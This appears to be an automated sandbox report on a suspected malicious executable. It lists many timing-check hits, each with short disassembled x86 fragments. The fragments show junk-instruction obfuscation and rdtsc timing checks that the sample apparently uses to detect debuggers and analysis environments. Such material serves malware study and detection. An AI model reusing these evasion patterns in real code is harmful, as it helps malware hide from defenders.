Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1164C59 second address: 1164D0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18664h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007F3808C18658h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 sub dword ptr [ebp+1247F5ABh], esi 0x0000002b push dword ptr fs:[00000000h] 0x00000032 push 00000000h 0x00000034 push esi 0x00000035 call 00007F3808C18658h 0x0000003a pop esi 0x0000003b mov dword ptr [esp+04h], esi 0x0000003f add dword ptr [esp+04h], 0000001Bh 0x00000047 inc esi 0x00000048 push esi 0x00000049 ret 0x0000004a pop esi 0x0000004b ret 0x0000004c pushad 0x0000004d movzx eax, ax 0x00000050 mov edx, dword ptr [ebp+1247B190h] 0x00000056 popad 0x00000057 mov dword ptr fs:[00000000h], esp 0x0000005e mov dword ptr [ebp+122D1FF4h], edx 0x00000064 mov eax, dword ptr [ebp+122D0E05h] 0x0000006a mov edi, eax 0x0000006c jmp 00007F3808C18669h 0x00000071 push FFFFFFFFh 0x00000073 stc 0x00000074 push eax 0x00000075 je 00007F3808C1865Eh 0x0000007b push ebx 0x0000007c push eax 0x0000007d push edx 0x0000007e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11691AB second address: 116921D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007F3808D55107h 0x0000000e jo 00007F3808D550F8h 0x00000014 push ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 nop 0x00000018 mov dword ptr [ebp+12459ACDh], ebx 0x0000001e add edi, dword ptr [ebp+122D1AB6h] 0x00000024 push 00000000h 0x00000026 movsx edi, bx 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push esi 0x0000002e call 00007F3808D550F8h 0x00000033 pop esi 0x00000034 mov dword ptr [esp+04h], esi 0x00000038 add dword ptr [esp+04h], 0000001Dh 0x00000040 inc esi 0x00000041 push esi 0x00000042 ret 0x00000043 pop esi 0x00000044 ret 0x00000045 xchg eax, esi 0x00000046 jbe 00007F3808D55104h 0x0000004c pushad 0x0000004d jne 00007F3808D550F6h 0x00000053 push eax 0x00000054 push edx 0x00000055 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 116921D second address: 1169228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 116839C second address: 1168403 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D550FBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F3808D550F8h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 adc bh, 0000003Eh 0x00000028 push dword ptr fs:[00000000h] 0x0000002f mov ebx, 7E2D8B34h 0x00000034 mov dword ptr fs:[00000000h], esp 0x0000003b clc 0x0000003c mov eax, dword ptr [ebp+122D1759h] 0x00000042 mov dword ptr [ebp+122D30E2h], eax 0x00000048 push FFFFFFFFh 0x0000004a or ebx, dword ptr [ebp+122D3B01h] 0x00000050 nop 0x00000051 push ebx 0x00000052 pushad 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 116B23C second address: 116B26D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F3808C18661h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F3808C1865Dh 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 116E9DA second address: 116E9DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1110D7D second address: 1110D85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11721E6 second address: 11721EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11721EA second address: 1172209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18666h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1172209 second address: 117222E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F3808D550FAh 0x0000000b popad 0x0000000c pushad 0x0000000d jnc 00007F3808D550F6h 0x00000013 jo 00007F3808D550F6h 0x00000019 push esi 0x0000001a pop esi 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 117222E second address: 1172234 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1172234 second address: 1172238 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1172238 second address: 117223C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1112993 second address: 11129A0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push edi 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1175D72 second address: 1175D8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3808C18656h 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F3808C1865Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1175782 second address: 1175788 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1175788 second address: 117578E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1179248 second address: 117924E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 117946F second address: 11794B1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 pushad 0x00000009 pushad 0x0000000a js 00007F3808C18656h 0x00000010 jc 00007F3808C18656h 0x00000016 popad 0x00000017 jmp 00007F3808C18669h 0x0000001c popad 0x0000001d mov dword ptr [esp+04h], eax 0x00000021 pushad 0x00000022 push ebx 0x00000023 je 00007F3808C18656h 0x00000029 pop ebx 0x0000002a push eax 0x0000002b push edx 0x0000002c push ecx 0x0000002d pop ecx 0x0000002e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 117F92B second address: 117F931 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 117F931 second address: 117F941 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jnp 00007F3808C18656h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 117F941 second address: 117F945 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1180299 second address: 11802CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F3808C18656h 0x0000000a pushad 0x0000000b popad 0x0000000c push edx 0x0000000d pop edx 0x0000000e popad 0x0000000f jne 00007F3808C18672h 0x00000015 js 00007F3808C18656h 0x0000001b jmp 00007F3808C18666h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11802CA second address: 1180309 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F3808D5510Eh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F3808D55106h 0x0000000f jmp 00007F3808D55104h 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 jg 00007F3808D550F6h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1180309 second address: 118030D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11869F3 second address: 1186A08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push edi 0x00000006 jnp 00007F3808D550F6h 0x0000000c pushad 0x0000000d popad 0x0000000e pop edi 0x0000000f popad 0x00000010 push ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1186A08 second address: 1186A0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1186A0C second address: 1186A1A instructions: 0x00000000 rdtsc 0x00000002 jc 00007F3808D550F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1186B4C second address: 1186B59 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jp 00007F3808C18656h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11864C1 second address: 11864CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F3808D550F6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11864CB second address: 11864D5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3808C18656h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11864D5 second address: 11864DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11864DB second address: 11864F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3808C18667h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11864F8 second address: 11864FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11864FC second address: 1186502 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1186502 second address: 1186516 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1186516 second address: 1186520 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3808C18656h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11871F0 second address: 11871F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11871F6 second address: 11871FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11871FC second address: 1187214 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jng 00007F3808D550F6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jnp 00007F3808D55106h 0x00000014 push eax 0x00000015 push edx 0x00000016 push esi 0x00000017 pop esi 0x00000018 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1187732 second address: 118773E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118773E second address: 1187763 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F3808D550F6h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 pop edx 0x00000012 popad 0x00000013 ja 00007F3808D55123h 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f pop eax 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1187763 second address: 118777E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18667h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118B4CE second address: 118B4D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118B4D2 second address: 118B4FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3808C1865Bh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jnc 00007F3808C18656h 0x00000016 popad 0x00000017 jmp 00007F3808C1865Dh 0x0000001c rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11542EA second address: 11542EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154813 second address: F9DC46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 nop 0x00000007 mov edx, dword ptr [ebp+12480B56h] 0x0000000d push dword ptr [ebp+122D0755h] 0x00000013 sub dword ptr [ebp+12464288h], ebx 0x00000019 call dword ptr [ebp+122D2DCFh] 0x0000001f pushad 0x00000020 clc 0x00000021 xor eax, eax 0x00000023 clc 0x00000024 mov edx, dword ptr [esp+28h] 0x00000028 js 00007F3808C1865Ch 0x0000002e or dword ptr [ebp+122D3124h], edx 0x00000034 pushad 0x00000035 sub dword ptr [ebp+122D3124h], ebx 0x0000003b or esi, dword ptr [ebp+122D39D5h] 0x00000041 popad 0x00000042 mov dword ptr [ebp+122D392Dh], eax 0x00000048 xor dword ptr [ebp+122D3124h], esi 0x0000004e mov esi, 0000003Ch 0x00000053 jo 00007F3808C1865Ch 0x00000059 mov dword ptr [ebp+122D3124h], edx 0x0000005f jbe 00007F3808C18663h 0x00000065 jmp 00007F3808C1865Dh 0x0000006a add esi, dword ptr [esp+24h] 0x0000006e stc 0x0000006f xor dword ptr [ebp+122D3124h], ecx 0x00000075 lodsw 0x00000077 jmp 00007F3808C18664h 0x0000007c add eax, dword ptr [esp+24h] 0x00000080 jmp 00007F3808C18661h 0x00000085 mov dword ptr [ebp+122D2E62h], edx 0x0000008b mov ebx, dword ptr [esp+24h] 0x0000008f stc 0x00000090 nop 0x00000091 pushad 0x00000092 push eax 0x00000093 push edx 0x00000094 push esi 0x00000095 pop esi 0x00000096 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11549CD second address: 1154A15 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xor dword ptr [esp], 7F1E0ECEh 0x00000011 push 00000000h 0x00000013 push edx 0x00000014 call 00007F3808D550F8h 0x00000019 pop edx 0x0000001a mov dword ptr [esp+04h], edx 0x0000001e add dword ptr [esp+04h], 0000001Bh 0x00000026 inc edx 0x00000027 push edx 0x00000028 ret 0x00000029 pop edx 0x0000002a ret 0x0000002b mov ecx, dword ptr [ebp+122D2DEBh] 0x00000031 call 00007F3808D550F9h 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push ecx 0x0000003a pop ecx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154A15 second address: 1154A3A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 push esi 0x00000009 jmp 00007F3808C18661h 0x0000000e pop esi 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pushad 0x00000017 popad 0x00000018 pop esi 0x00000019 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154A3A second address: 1154A4E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007F3808D550F8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154B4D second address: 1154B64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154C00 second address: 1154C04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154C04 second address: 1154C08 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154C08 second address: 1154C0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1154F3B second address: 1154F3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11552CD second address: 11552D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1155613 second address: 11556B3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c add edx, dword ptr [ebp+122D39EDh] 0x00000012 mov cx, 498Bh 0x00000016 lea eax, dword ptr [ebp+1248A0BCh] 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F3808C18658h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000015h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov dword ptr [ebp+122D2E1Dh], edx 0x0000003c push eax 0x0000003d jmp 00007F3808C18669h 0x00000042 mov dword ptr [esp], eax 0x00000045 pushad 0x00000046 mov dword ptr [ebp+122D17F8h], edx 0x0000004c mov ecx, dword ptr [ebp+122D3152h] 0x00000052 popad 0x00000053 lea eax, dword ptr [ebp+1248A078h] 0x00000059 jmp 00007F3808C18668h 0x0000005e nop 0x0000005f pushad 0x00000060 push ebx 0x00000061 pushad 0x00000062 popad 0x00000063 pop ebx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11556B3 second address: 11556D2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808D55103h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11556D2 second address: 11556D8 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118BC19 second address: 118BC3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push edi 0x00000007 jmp 00007F3808D55102h 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F3808D550F6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118C05B second address: 118C061 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118C061 second address: 118C067 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 118C067 second address: 118C070 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1192CDF second address: 1192CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F3808D550F6h 0x0000000a jmp 00007F3808D550FCh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 119779C second address: 11977A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11977A5 second address: 11977AC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11977AC second address: 11977BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jl 00007F3808C18658h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11977BD second address: 11977C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11977C3 second address: 11977C7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1197F12 second address: 1197F1D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 11981F5 second address: 1198244 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3808C18663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jp 00007F3808C18656h 0x00000010 pushad 0x00000011 popad 0x00000012 je 00007F3808C18656h 0x00000018 jbe 00007F3808C18656h 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 jnp 00007F3808C1865Eh 0x00000028 jmp 00007F3808C18661h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\rJvOqHxkuI.exe	RDTSC instruction interceptor: First address: 1198244 second address: 1198254 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007F3808D550F6h 0x0000000a je 00007F3808D550F6h 0x00000010 rdtsc
